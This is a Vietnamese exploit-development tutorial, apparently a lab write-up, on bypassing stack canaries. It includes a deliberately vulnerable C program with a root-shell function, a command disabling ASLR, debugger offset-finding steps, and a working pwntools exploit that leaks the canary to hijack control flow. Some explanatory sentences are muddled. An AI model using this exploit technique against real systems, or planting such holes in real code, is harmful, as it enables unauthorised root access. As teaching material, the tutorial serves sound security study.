1. Stack Canary Cookie là gì?
Stack canaries hay security cookies là những giá trị đặc biệt được thêm vào các tệp thực thi (binaries) trong quá trình biên dịch để bảo vệ các giá trị quan trọng trên stack, như Return Pointer, khỏi các cuộc tấn công buffer overflow. Nếu một giá trị canary không chính xác được phát hiện trong các giai đoạn nhất định của luồng thực thi, chẳng hạn như ngay trước khi một lệnh RET được gọi, chương trình sẽ bị chấm dứt. Sự hiện diện của chúng làm cho việc khai thác các lỗ hổng như vậy trở nên khó khăn hơn, nhưng không phải là không thể.
2. Canary Bypassing
2.1 Cài đặt môi trường
Source code:
C:
#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
#include<string.h>
void getshell(void){
setuid(0);
system("/bin/sh");
}
void init(){
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln(){
char buf[100];
for (int i=0; i<2; i++){
read(0, buf, 0x200);
printf(buf);
}
}
int main(void){
init();
puts("Hello Hacker!");
vuln();
return 0;
}
Bash:
gcc -m32 -fstack-protector-all -no-pie vulnerable.c -o vulnerable
Trong phần này, chúngta sẽ tắt ASLR:
Bash:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
2.2 Tìm offset
Tạo buffer gồm 150 ký tự A để kiểm tra xem app có crashed không
Ở đây, chương trình bị termniated và trả về output *** Stack Smashing Detected ***: terminated. Đây là dấu hiệu của đã được bảo vệ bởi stack cookie
Trong hàm vuln(), đây là một hàm gây ra lỗi Buffer Overflow, vì vậy hãy mở Debugger và disassembly để xem chúng ta có gì.

Tôi có thể thấy ở đây có một cookie kiểm tra lỗi cục bộ, đó cũng chính là stack canary. Hãy đặt một điểm ngắt tại nop và lấy thêm thông tin.

Trong <Vuln+86>, canary di chuyển [ebp-0xc] vào eax. Vậy chúng ta có thể thấy giá trị đó là gì.

Ở đây, chúng ta có giá trị 0x16975100. Hai byte cuối cùng là 00 có nghĩa là chương trình đã được sửa lỗi và tiếp tục hoạt động.
Chúng ta đã biết flag trông như thế nào. Hãy lấy canary offset và program offset để làm cho chương trình bị lỗi.


Đây là ảnh về canary offset. Tiếp theo là ảnh để lấy offset của bộ đệm, nhấn stepi để chuyển đến lệnh tiếp theo và dừng tại call 0x80493d0 <__stack_chk_fail_local>.


Sau đó, tiếp tục chạy chương trình, chương trình sẽ bị lỗi và trả về địa chỉ, lấy độ lệch.

2.2 Proof of Concept (PoC)
Chúng ta đã biết kích thước của canary là 100 và kích thước của buffer là 116. Tuy nhiên, chúng ta không biết có bao nhiêu byte sẽ được thêm vào cờ (flag) nếu chương trình không chấp nhận. Vì vậy, hãy tạo một buffer 100 ký tự 'A' để kiểm tra.

Như bạn thấy ở ảnh trên, tôi đã thay đổi giá trị từ 0x883c570a thành 0x883c5700. Điều này có nghĩa là chương trình sẽ tiếp tục chạy mà không bị canary chấm dứt. Nhấn continue và chương trình hoạt động bình thường.

Viết mã khai thác bằng thư viện pwn của Python.
Python:
#!/usr/bin/python3
from pwn import *
from struct import pack
get_shell = pack('<I', 0x80491c2) # Address of getshell()
exploit = process('./vulnerable')
exploit.recvuntil(b"Hello Hacker!")
payload = b'A'*100
exploit.sendline(payload)
exploit.recvuntil(b'A'*100)
canary = u32(exploit.recv(4))-0xa
log.info("Canary: " + hex(canary))
payload = b'A'*100 + p32(canary) + b'A'*12 + get_shell
exploit.send(payload)
exploit.recv()
exploit.interactive()

3. Reference
- https://www.sans.org/blog/stack-canaries-gingerly-sidestepping-the-cage- https://github.com/7heKnight/7heknight.pwn/tree/main/INE/Linux Exploit Development/Data Execution Prevention (DEP)/Canary
Bài viết liên quan
Được quan tâm
Bài viết mới